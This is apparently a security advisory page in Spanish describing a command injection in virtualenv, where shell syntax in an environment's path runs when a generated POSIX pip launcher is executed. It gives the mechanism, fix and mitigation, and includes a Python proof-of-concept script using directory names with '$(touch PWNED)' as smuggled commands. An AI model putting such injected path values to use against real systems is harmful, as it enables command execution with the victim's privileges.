Alta

virtualenv: Los ejecutores de consola POSIX generados interpretan las rutas de destino como sintaxis de shell

  • Publicada: 21.10.2026
  • Actualizado: 23.10.2026 00:13

Resumen

Una ruta de destino proporcionada a virtualenv puede ser interpretada como sintaxis de shell por un ejecutor de consola POSIX generado. El sembrador de app-data y pip delegan la generación del ejecutor en distlib, pero proporcionan la ruta del intérprete en un formato que no la preserva como datos literales dentro del wrapper de shell.

Área afectada

Scripts de consola POSIX generados por el sembrador de app-data o por pip cuando la ruta del intérprete requiere un wrapper de shell. Los ejecutores ejecutables de Windows no se ven afectados por esta vía.

Entrada controlada por el atacante

Un atacante debe influir en el destino del entorno pasado a virtualenv, y el usuario debe ejecutar posteriormente un launcher generado. El atacante no necesita modificar un ejecutable instalado ni controlar la caché de app-data del usuario.

Código afectado

El código fuente relevante de 21.14.8 se encuentra en ScriptMakerCustom..

Mecanismo

El sembrador de app-data pasa la ruta del intérprete del entorno a través de enquote_executable() al ScriptMaker de distlib. Agrega comillas dobles para rutas con espacios, pero no escapa las expansiones de shell dentro de dichas comillas. Cuando la ruta tiene un espacio o el shebang supera los 127 bytes, distlib genera un wrapper #!/bin/sh con una línea con la estructura '''exec' "<path>" "$0" "$@". La shell expande $(...) y los acentos graves (backticks) en esa ruta al ejecutarse el launcher. El mismo wrapper también debe ser analizado como Python, lo que introduce casos adicionales de comillas y barras invertidas. La creación y activación del entorno no disparan la carga útil de shell.

Reproducción y evidencia

El escáner creó tres entornos: uno de control bajo my -touch PWNED- project, uno bajo my $(touch PWNED) project, y uno bajo una ruta de más de 127 bytes que termina en $(touch${IFS}PWNED). Cada uno se creó sin producir PWNED. Al ejecutar el archivo bin/pip --version generado se creó PWNED en ambos casos de ataque; el control no creó ninguno. El caso de la ruta larga alcanzó el wrapper de shell sin contener espacios. Esto reproduce la ejecución mediante el launcher generado, con los privilegios del usuario, en lugar de ocurrir durante el sembrado.

El informe data la integración de los launchers de distlib en el sembrador de app-data en #1579, lanzado por primera vez en 20.0.2. PR #3417 entrecomilla la ruta original del intérprete para el wrapper POSIX y repara los launchers escritos por el sembrador de pip. El propio distlib incluido en pip puede volver a escribir un wrapper vulnerable durante una instalación o actualización posterior con pip; la corrección propuesta para virtualenv no modifica el código integrado en pip. La revisión de seguimiento provista por el mantenedor reporta esa ruta por separado.

Secuencia de ataque

mermaid
sequenceDiagram
    participant A as Destination supplier
    participant V as virtualenv seeder
    participant D as distlib ScriptMaker
    participant S as Generated bin/pip
    participant U as User
    A->>V: path contains $(touch PWNED)
    V->>D: pass interpreter path with incomplete shell quoting
    D->>S: write /bin/sh wrapper
    Note over V,S: no payload runs during creation or activation
    U->>S: pip --version
    S->>S: shell expands path and runs touch
    S-->>U: PWNED appears with user's privileges

Archivos de reproducción

Los siguientes archivos provienen del informe del escáner para ANT-2026-5DZVLGL1. Se probaron contra el commit a857a7823c73 en la imagen del escáner. El punto de entrada repro espera archivos complementarios en /tmp/repro.d; los casos que cambian IDs de usuario requieren un contenedor desechable con privilegios de root. La última línea de salida es BUG cuando ocurre el comportamiento reportado. Estos archivos se incluyen como evidencia y no se volvieron a ejecutar para esta actualización del aviso.

repro

#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

WORK = Path("/tmp/repro-console-script")

# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
    "CONTROL": "my -touch PWNED- project",
    "OBSERVED": "my $(touch PWNED) project",
    # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
    "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}

shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
    # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
    cwd = WORK / label / "cwd"
    venv = WORK / label / name / "venv"
    cwd.mkdir(parents=True)

    # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
    subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
    assert list(cwd.iterdir()) == [], "environment creation must not have created anything"

    # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
    pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
    pip_printed[label] = pip.stdout
    created_by_pip[label] = sorted(p.name for p in cwd.iterdir())

    launcher = (venv / "bin" / "pip").read_text().splitlines()
    print(f"{label}: directory name {name!r}")
    print(f"  bin/pip line 1: {launcher[0]}")
    print(f"  bin/pip line 2: {launcher[1]}")
    print(f"  bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
    print(f"  files bin/pip created in the working directory: {created_by_pip[label]}")

# check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")

Alcance de la corrección y exposición restante

El PR #3417 modifica la generación de launchers en el sembrador de app-data y repara los wrappers de shell POSIX después del sembrado con pip. La reparación del sembrador de pip utiliza la misma regla de entrecomillado y actualiza los hashes y tamaños registrados en RECORD. No modifica el distlib vendored de pip.

Una instalación o actualización independiente posterior de pip puede reemplazar un launcher corregido por uno vulnerable. Los launchers existentes no se reparan con solo actualizar virtualenv. Vuelva a crear los entornos con la versión corregida de virtualenv para regenerarlos y utilice rutas de destino de confianza. La recreación no protege los launchers que sean reescritos posteriormente por pip. La revisión de seguimiento informa la reproducción mediante el sembrador de pip anterior y tras una actualización de pip; dichos resultados se atribuyen al revisor.

Impacto

Ejecutar un launcher afectado puede ejecutar comandos con los privilegios del usuario que lo llama. Clasificación: alta, CVSS 7.8, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, siguiendo el precedente del proyecto para scripts generados (generated-script precedent.. El vector asume datos de ruta controlados por el atacante y un usuario que ejecuta el launcher resultante. No se requieren privilegios previos de la víctima; la ejecución exitosa de comandos puede afectar los datos y procesos del usuario.

Versiones probadas

El mantenedor confirmó la validación de los hallazgos reportados en la versión 21.14.8. La revisión subsiguiente documenta la reproducción en la rama upstream/main no corregida; la integración afectada de los launchers y las declaraciones de dependencias no han cambiado desde 21.14.8. La primera versión afectada no se ha determinado. Corregido en 21.14.9.

Mitigación conocida

Utilice un destino de entorno elegido por un usuario de confianza. Para versiones anteriores, evite generar entornos en destinos derivados de entradas no confiables.

Versión afectada

  • El problema se reproduce en virtualenv 21.14.8.

Créditos

Reportado por el escáner OSS de Anthropic como ANT-2026-5DZVLGL1.

Qué hacer

Actualice a virtualenv 21.14.9 o posterior. Tenga en cuenta que actualizar virtualenv por sí solo no repara los ejecutores existentes: recree los entornos virtuales utilizando la versión corregida y asegúrese de emplear rutas de destino confiables. La recreación no protege los ejecutores que sean reescritos posteriormente por pip. Como mitigación alternativa, seleccione rutas de destino elegidas por usuarios de confianza y evite crear entornos en ubicaciones derivadas de entradas no confiables.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) virtualenv < 21.14.9 21.14.9

Referencias

Puntuación CVSS 7.8/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-78
Plataforma
Python (PyPI)
Paquete
virtualenv
Publicada
21.10.2026
Actualizado
23.10.2026 00:13

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-c978-59m8-c77v - CC BY 4.0

Historial de vulnerabilidades: virtualenv

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (13) en el archivo
Entradas en total
13
Primera → última
12.2011 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 7
  • Media 6

Divulgaciones por año

  1. 2017: 0
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 0
  7. 2023: 0
  8. 2024: 1
  9. 2025: 0
  10. 2026: 11

antes: 1

Gravedad:
  1. virtualenv: Los ejecutores de consola POSIX generados interpretan las rutas de destino como sintaxis de shell esta entrada
    Alta · 7.8 CVE-2026-113722 < 21.14.9 21.14.9

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.